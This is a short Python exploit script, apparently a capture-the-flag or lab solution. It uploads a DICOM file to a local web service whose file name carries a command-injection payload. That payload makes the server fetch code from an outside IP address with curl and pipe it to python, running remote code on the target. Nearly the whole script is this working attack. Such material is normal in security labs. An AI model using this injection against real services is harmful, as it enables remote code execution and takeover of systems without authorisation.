#!/usr/bin/env python3
import requests
s = requests.session()
# Download the example dciom file ttfm.dcm from here
# wget -q 'http://medistim.com/wp-content/uploads/2016/07/ttfm.dcm'

# For the explanation of this command line, please see README.
r = s.post('http://localhost:11111/', files={'file': ('a&curl,@240.240.240.240:12345|python&', open('./ttfm.dcm', 'rb').read())})
print(r.text)
